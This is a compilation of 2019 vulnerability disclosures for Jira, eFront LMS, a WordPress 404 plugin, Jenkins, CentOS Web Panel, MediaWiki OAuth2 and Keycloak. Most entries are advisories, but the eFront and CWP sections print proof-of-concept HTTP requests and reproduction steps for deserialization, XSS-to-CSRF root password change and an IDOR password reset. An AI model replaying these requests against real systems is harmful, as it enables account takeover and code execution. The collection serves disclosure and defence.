The Webwork action Cross-Site Request Forgery (CSRF) protection implementation in Jira before version 8.4.0 allows remote attackers to bypass its protection via "cookie tossing" a CSRF cookie from a subdomain of a Jira instance.

**Details**

*   **Type: **![](https://jira.atlassian.com/secure/viewavatar?size=xsmall&avatarId=51493&avatarType=issuetype "Bug - A problem which impairs or prevents the functions of the product.") Bug
    

*   **Priority: **![](https://jira.atlassian.com/images/icons/priorities/low.svg "Low - Low priority issues") Low
    
*   **Resolution:** Fixed
    
*   **Affects Version/s:** 7.6.4, 8.2.1
    

*   **Labels:**
    
    *   CVE-2019-14998
    *   advisory
    *   advisory-released
    *   bugbounty
    *   cisco-talos
    *   csrf
    *   cvss-medium
    *   security
    

*   **Fixed in Long Term Support Release/s:**
    
*   **Introduced in Version:**
    
    7.06
    
*   **Symptom Severity:**
    
    Severity 2 - Major
    

**Description**

The Webwork action Cross-Site Request Forgery (CSRF) protection implementation in Jira before version 8.4.0 allows remote attackers to bypass its protection via "cookie tossing" a CSRF cookie from a subdomain of a Jira instance.

**Attachments**

**Issue Links**

**Activity**

**People**

Votes:

0 Vote for this issue

Watchers:

13 Start watching this issue

**Dates**

Created:

12/Aug/2019 2:42 AM

Updated:

24/Nov/2020 6:50 PM

Resolved:

12/Aug/2019 2:42 AM

CVE-2019-14998: [JRASERVER-69791] "Cookie Tossing" CSRF weakness against subdomains - CVE-2019-14998

A code execution vulnerability exists in Epignosis eFront LMS v5.2.12. A specially crafted web request can cause unsafe deserialization potentially resulting in PHP code being executed. An attacker can send a crafted web parameter to trigger this vulnerability.

**Summary**

A code execution vulnerability exists in Epignosis eFront LMS v5.2.12. A specially crafted web request can cause unsafe deserialization potentially resulting in PHP code being executed. An attacker can send a crafted web parameter to trigger this vulnerability.

**Tested Versions**

Epignosis eFront LMS v5.2.12

**Product URLs**

https://www.efrontlearning.com/

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-502 - Deserialization of Untrusted Data

**Details**

Cisco Talos discovered that the application deserialized untrusted data without properly limiting or validating the incoming data type.

The following proof of concept demonstrates the issue:

    POST /audiences/add/1 HTTP/1.1
    Host: [IP]
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://[IP]/audiences/add/1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 168
    DNT: 1
    Connection: close
    Cookie: PHPSESSIDfb411=aaaaaaaa;
    Upgrade-Insecure-Requests: 1
    
    ratio=undefined&_qf__audience_properties_form=&qfS_csrf=abc&name=[UNSERIALIZED DATA]&description=jh&active=1&branches_ID=&submit=Add
    

The following code is responsible for all observed unsafe unserializations:

    205     public function set($property, $value, $type = null) {
    206         // $this->$property translates to the variable name, for example $this->_name or $this->_address:
    207         if ($value !== $this->$property) {
    208             // The default type to check against is 'generic', which cuts off non-scalar values:
    209             !empty($type) OR $type = 'generic';
    210
    211             if (!empty($value) && BaseModel::checkParameter($value, $type) === false) {
    212                 throw new EfrontException("Invalid type '{$type}' for '{$property}'");
    213             }
    214
    215             if ($value && $type == 'generic' && @unserialize($value) === false) {
    216                 $value = htmlspecialchars(strip_tags($value), ENT_COMPAT, 'UTF-8',false);
    217             } else if ($value && $type == 'wysiwig') {
    218                 $value = TemplateController::purify($value);
    219             }
    220
    221             $this->$property = $value;
    222             $this->_must_persist = true;
    223         }
    224
    225         return $this;
    226     }
    

Forms submitted to the following URLs were discovered to be vulnerable:

    http://[IP]/Banners/add/1 [name parameter]
    http://[IP]/Glossary/add/1 [term parameter]
    http://[IP]/RandomDataPopulator/add/1 [name parameter]
    http://[IP]/audiences/add/1 [name parameter]
    http://[IP]/branches/add/1 [name parameter]
    http://[IP]/categories/add/1 [name parameter]
    http://[IP]/certificates/add/1 [name parameter]
    http://[IP]/curriculums/add/1 [name parameter]
    http://[IP]/discussions/course-id/180/add-topic/1/popup/1 [title parameter]
    http://[IP]/jobs/add/1 [name parameter]
    http://[IP]/payments/op/price_tracks/add/1 [discount_type parameter]
    http://[IP]/reports/op/courses [filter_name parameter]
    http://[IP]/skill-tests/add/1/quick-add/1 [name parameter]
    http://[IP]/skills/add/1 [name parameter]
    

**Timeline**

2019-07-29 - Vendor disclosure  
2019-07-31 - Vendor acknowledged issues under review  
2019-08-13 - Vendor acknowledged work to fix issues & testing  
2019-08-30 - Vendor patched/released new version  
2019-09-03 - Public disclosure

CVE-2019-5069: TALOS-2019-0858 || Cisco Talos Intelligence Group

The custom-404-pro plugin before 3.2.8 for WordPress has reflected XSS, a different vulnerability than CVE-2019-14789.

*   Details
*   Reviews
*   Installation
*   Development

Allows users to replace the default 404 page with a custom page from the Pages section in the Admin Panel. Or you can specify a complete URL to redirect on 404.

**Important Note**

Please open issues on Github. I will not be using the WordPress.org support area.

**Features**

*   Full 404 Page Control
*   Record 404 Page Data
*   Custom Page Redirect
*   Custom URL Redirect

**How does it work?**

*   WordPress Page: Choose a custom page from the Admin Panel
*   URL: Enter a custom URL for 404
*   Stats: List of all 404s

*   Extract the downloaded ZIP file.
*   Copy the custom-404-pro folder to the wp-content/plugins directory.
*   Activate from the Plugins Section.

**Why is the 404 custom redirect not working?**

Some users have reported an issue with the Divi theme where the 404 redirect does not work. In such cases, please disable the Divi theme and try again. It’s usually a good practice to start disabling themes/plugins one by one and work your way backward to see what might be causing the issue.

**Why are my plugin preferences not being saved?**

Uninstall the plugin from the Plugins page (important!) and reinstall it. Never remove plugin folders directly from your WordPress installation as this DOES NOT cleanup plugin database tables.

Thank you so much for this brilliant plugin. I am not technically confident, cannot do much by way of coding and get overwhelmed with geek speak. I downloaded this plugin after trying (and failing with) another, and within 10 minutes had my custom 404 page up and running. This has saved me time, energy and stress. Thank you so much. I have just donated something small too to support you in your work and creativity.

На мой взгляд, это лучшее и простое дополнение для перенаправления! Перенаправляет даже с «закрытой страницы» ?author=1 что другие подобные дополнения делать не могут. Молодец.

ignore this, wrong plugin.

This plugin was working great for us until we adjust the settings to start logging the 404 pages. Then, the custom page we selected in Wordpress for the 404 to route to stops working. Is this a known bug?

Works simple and fine! Congratulations!

Gets the job done in seconds. Super easy to use!

Read all 22 reviews

“Custom 404 Pro” is open source software. The following people have contributed to this plugin.

Contributors

*    Kunal

**3.9.0**

*   Support WordPress 6.3

**3.8.2**

*   Fix logs vuln

**3.8.1**

*   Fix Search vuln

**3.8.0**

*   Support WordPress 6.2

**3.7.4**

*   Fix SQL injection

**3.7.3**

*   Fix vulnerabilities

**3.7.2**

*   Fix CSRF vulnerability in Logs table

**3.7.1**

*   Fix path vulnerability

**3.7.0**

*   Support WordPress 6.1

**3.6.0**

*   Support WordPress 6.0

**3.5.0**

*   Support WordPress 5.9

**3.4.0**

*   Support WordPress 5.8

**3.3.0**

*   Add Multisite Support

**3.2.21**

*   Support WordPress 5.7

**3.2.20**

*   Support WordPress 5.6

**3.2.19**

*   Support WordPress 5.5

**3.2.18**

*   Integrate GitHub actions

**3.2.17**

*   Bump version to support 5.4

**3.2.16**

*   Bump version to support 5.3.2

**3.2.15**

*   Bump version to support 5.3.1

**3.2.14**

*   Update Readme to include FAQ

**3.2.13**

*   Remove upgrader script

**3.2.12**

*   Updates + Remove Migrate & Reset Tabs

**3.2.11**

*   Fix Redirect Bug

**3.2.10**

*   More updates and fixes

**3.2.9**

*   Fix Reflected XSS in other places according to the WordPress Plugin Notice

**3.2.8**

*   Fix Reflected XSS

**3.2.7**

*   Version Bump to support WordPress 5.2

**3.2.6**

*   Follow WordPress Coding Standards

**3.2.5**

*   Update from v2 to v3 for all users

**3.2.4**

*   Error Logging

**3.2.3**

*   \[BUGFIX\] Migrate logs changed to 500

**3.2.2**

*   \[NEW\] Migrate Tab: Migrate Logs from Plugin version < 3.0.0 to the new logging system
*   \[BUGFIX\] Typo in Reset Tab when deleting old logs

**3.2.1**

*   \[NEW\] Bulk Action: Delete All Logs now available

**3.2.0**

*   Exports Logs as CSV
*   Better model for showing Admin Notices
*   Validating URL (required and structure) when URL mode chosen for redirection
*   General cleanup

**3.1.1**

*   Fix Log IP default setting

**3.1.0**

*   Logging IP is now optional

**3.0.5**

*   Fix Upgrader function bug

**3.0.4**

*   Fix Settings not saving Bug

**3.0.3**

*   Fix Uninstall Bug

**3.0.2**

*   Streamlining the upgrade process

**3.0.0**

*   Complete re-write from the ground-up with a new logging mechanism and better base for future development

**2.1.1**

*   Add Referer so users know where the 404 came from

**2.1.0**

*   Cleanup on uninstall
*   Email blog title
*   Fix unnecessary CSS and JS loading

**2.0.3**

*   Disable logging by default

**2.0.2**

*   Fixed Donate Links

**2.0.1**

*   Small bugfix while clearing logs

**2.0.0**

*   Better feedback while Clearing Logs
*   Added 404 Option to Log Type

**1.4.0**

*   Option to Clear Logs
*   Option to Stop Logging

**1.3.12**

*   Fixed github issue #3

**1.3.10**

*   Fixed some bugs

**1.3.9**

*   Redefined Log Filters with User Agent API

**1.3.8**

*   Added User Agent Filter

**1.3.0**

*   Changed entire plugin to a Custom Post Type Layout
*   More structure to the plugin, better code

**1.0.0**

*   Initial Release

CVE-2019-15838: Custom 404 Pro

Jenkins 2.191 and earlier, LTS 2.176.2 and earlier allowed users to obtain CSRF tokens without an associated web session ID, resulting in CSRF tokens that did not expire and could be used to bypass CSRF protection for the anonymous user.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   Jenkins (core)
*   Deprecated: IBM AppScan Plugin
*   Splunk Plugin

**Descriptions****Stored XSS vulnerability in update center**

**SECURITY-1453 / CVE-2019-10383**

Jenkins did not properly escape the update site URL in some status messages shown in the update center, resulting in a stored cross-site scripting vulnerability that is exploitable by administrators and affects other administrators.

Jenkins now escapes the update site URL in status messages shown in the update center.

**CSRF protection tokens for anonymous users did not expire in some circumstances**

**SECURITY-1491 / CVE-2019-10384**

Jenkins allowed the creation of CSRF tokens without a corresponding web session ID. This is the result of an incomplete fix for SECURITY-626 in the 2019-07-17 security advisory. This allowed attackers able to obtain a CSRF token without associated session ID to implement CSRF attacks with the following constraints:

*   The token had to be created for the anonymous user (and could only be used for actions the anonymous user can perform).
    
*   The victim’s IP address needed to remain unchanged (unless the proxy compatibility option was enabled).
    
*   The victim must not have a valid web session at the time of the attack.
    

CSRF token generation now creates a web session if none exists yet, so that the lack of a web session ID cannot be exploited.

This fix may impact scripts that obtain a crumb from the crumb issuer API. They may need to be updated to retain the session ID for subsequent requests. For further information, see the LTS upgrade guide.

As a workaround, administrators can remove any permissions granted to the anonymous user so that no privileged actions can be taken. Alternatively, the Strict Crumb Issuer Plugin can be used instead of the built-in default crumb issuer to prevent this issue, because the vulnerability is not present in the plugin.

**Sandbox Bypass in Splunk Plugin**

**SECURITY-1294 / CVE-2019-10390**

Splunk Plugin has a form validation HTTP endpoint used to validate a user-submitted Groovy script through compilation, which was not subject to sandbox protection. This allowed attackers with Overall/Read access to execute arbitrary code on the Jenkins controller by applying AST transforming annotations such as @Grab to source code elements.

The affected HTTP endpoint now applies a safe Groovy compiler configuration preventing the use of unsafe AST transforming annotations.

**Deprecated: IBM AppScan Plugin showed plain text password in job configuration form fields**

**SECURITY-1512 / CVE pending**

Deprecated: IBM AppScan Plugin stores service passwords in job configurations.

While the password is stored encrypted on disk, it was transmitted in plain text as part of the configuration form. This could result in exposure of the password through browser extensions, cross-site scripting vulnerabilities, and similar situations.

Deprecated: IBM AppScan Plugin no longer transmits the password form field in plain text.

**Severity**

*   SECURITY-1294: High
*   SECURITY-1453: Medium
*   SECURITY-1491: High
*   SECURITY-1512: low

**Affected Versions**

*   Jenkins weekly up to and including 2.191
*   Jenkins LTS up to and including 2.176.2
*   **Deprecated: IBM AppScan Plugin** up to and including 1.2.4
*   **Splunk Plugin** up to and including 1.7.4

**Fix**

*   Jenkins weekly should be updated to version 2.192
*   Jenkins LTS should be updated to version 2.176.3
*   **Deprecated: IBM AppScan Plugin** should be updated to version 1.2.5
*   **Splunk Plugin** should be updated to version 1.8.0

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **James Holderness, IB Boost** for SECURITY-1512
*   **Jesper den Boer** for SECURITY-1453

CVE-2019-10384: Jenkins Security Advisory 2019-08-28

A stored cross-site scripting vulnerability in Jenkins 2.191 and earlier, LTS 2.176.2 and earlier allowed attackers with Overall/Administer permission to configure the update site URL to inject arbitrary HTML and JavaScript in update center web pages.

CVE-2019-10383: Jenkins Security Advisory 2019-08-28

The cforms2 plugin before 14.6.10 for WordPress has SQL injection.

CVE-2015-9333: cformsII

In CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.837, CSRF in the forgot password function allows an attacker to change the password for the root account.

**Information**

    Product             : CWP Control Web Panel
    Vulnerability Name  : Cross Site Scripting
    version             : 0.9.8.837
    Fixed on            : 0.9.8.851
    Test on             : CentOS 7.6.1810 (Core)
    Reference           : http://centos-webpanel.com/
                        : https://control-webpanel.com/changelog
    CVE-Number          : CVE-2019-13476
    

  
**Description**

CVE-2019-13476 (XSS) + CVE-2019-13477 (CSRF) Can change password no need to know current password

  
**Reproduce**

1.  login as normal user

  

2.  Click at Email Accounts under the Email Accounts and click it again like image below

  

3.  Click add "New MailBox"

  

4.  add "New mail" and intercept request (use Burp suite for intercept request)

  

5.  Insert payload at parameter "domain" then click "intercept is on" in burp suite

  

6.  Payload added success (in mail box panel user it's doesn't exist after add payload XSS but in panel admin it's will exist)

Script change password (PoC.php)

  

7.  Login as user root (victim) user : root pass : P@ssw0rd

  

8.  After login we will see the left side tap and click at "Email" then click "Email Accounts" under "Email" like image below

  

9.  We can see payload

  

10.  Click any button such as Change Password, Suspend, Delete after click Payload will be executed.

  

11.  After click it's will be redirect and password has been changed password is "AttackerPassword"

  

12.  try to login with old password "P@ssw0rd" we got login failed (image below)

  

13.  Login as root and new password "AttackerPassword"

  

14.  Login success

**Timeline**

    2019-06-05: Discovered the bug
    2019-06-05: Reported to vendor
    2019-06-05: Vender accepted the vulnerability
    2019-07-17: The vulnerability has been fixed
    2019-08-20: Advisory published
    

  
**Discovered by**

    Pongtorn Angsuchotmetee
    Nissana Sirijirakal 
    Narin Boonwasanarak

CVE-2019-13477: CentOS-Control-Web-Panel-CVE/CVE-2019-13477.md at master · i3umi3iei3ii/CentOS-Control-Web-Panel-CVE

In CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.851, an insecure object reference allows an attacker to discover phpMyAdmin passwords (of any user in /etc/passwd) via an attacker account.

    Exploit Title       : CWP (CentOS Control Web Panel) Reset other phpMyadmin passwordDate                : 24 Jul 2019Exploit Author      : Pongtorn Angsuchotmetee, Nissana Sirijirakal, Narin BoonwasanarakVendor Homepage     : https://control-webpanel.com/Software Link       : Not available, user panel only available for lastest versionVersion             : 0.9.8.851Tested on           : CentOS 7.6.1810 (Core) FireFox 68.0.1 (64-bit)CVE-Number          : CVE-2019-14246Reference      : https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-14246.md1. Login as attacker (low privilege)2. Go to "Mysql Manager"3. Try to change user password of any record4. Intercept the requestPOST /cwp_47e1d536a096e42d/alice/alice/index.php?module=mail_autoreply&acc=changepassuserdb HTTP/1.1Host: 192.168.80.148:2083User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8csrftoken: 9a1f7869d43544fc9f509cb6ac7bf430X-Requested-With: XMLHttpRequestContent-Length: 54Connection: closeReferer: https://192.168.80.148:2083/cwp_47e1d536a096e42d/alice/?module=mysql_managerCookie: PHPSESSID=i2is5am08ru7a2h93e13llp9e2dates=alice_alice||localhost&passuser=UEBzc3cwcmQxMjM05. Modify the request (parameter "dates") and submitPOST /cwp_47e1d536a096e42d/alice/alice/index.php?module=mail_autoreply&acc=changepassuserdb HTTP/1.1Host: 192.168.80.148:2083User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8csrftoken: 9a1f7869d43544fc9f509cb6ac7bf430X-Requested-With: XMLHttpRequestContent-Length: 54Connection: closeReferer: https://192.168.80.148:2083/cwp_47e1d536a096e42d/alice/?module=mysql_managerCookie: PHPSESSID=i2is5am08ru7a2h93e13llp9e2dates=bob||localhost&passuser=UEBzc3cwcmQxMjM0

CVE-2019-14246: CentOS-WebPanel.com Control Web Panel (CWP) 0.9.8.851 phpMyAdmin Password Change ≈ Packet Storm

In the OAuth2 Client extension before 0.4 for MediaWiki, a CSRF vulnerability exists due to the OAuth2 state parameter not being checked in the callback function.

@@ -92,17 +92,27 @@ private function \_redirect() { }  
private function \_handleCallback(){ global $wgRequest;  
try { $storedState = $wgRequest\->getSession()->get('oauth2state'); // Enforce the \`state\` parameter to prevent clickjacking/CSRF if(isset($storedState) && $storedState != $\_GET\['state'\]) { if(isset($\_GET\['state'\])) { throw new UnexpectedValueException("State parameter of callback does not match original state"); } else { throw new UnexpectedValueException("Required state parameter missing"); } }  
// Try to get an access token using the authorization code grant. $accessToken = $this\->\_provider\->getAccessToken('authorization\_code', \[ 'code' => $\_GET\['code'\] \]); } catch (\\League\\OAuth2\\Client\\Provider\\Exception\\IdentityProviderException $e) {  
// Failed to get the access token or user details. exit($e\->getMessage()); // Failed to get the access token or user details. } catch (UnexpectedValueException $e) { exit($e\->getMessage());  
}  
$resourceOwner = $this\->\_provider\->getResourceOwner($accessToken);

CVE-2019-15150: Enforce/verify state parameter of callback · Schine/MW-OAuth2Client@6a4fe45

It was found that Keycloak's account console, up to 6.0.1, did not perform adequate header checks in some requests. An attacker could use this flaw to trick an authenticated user into performing operations via request from an untrusted domain.

Tag

#csrf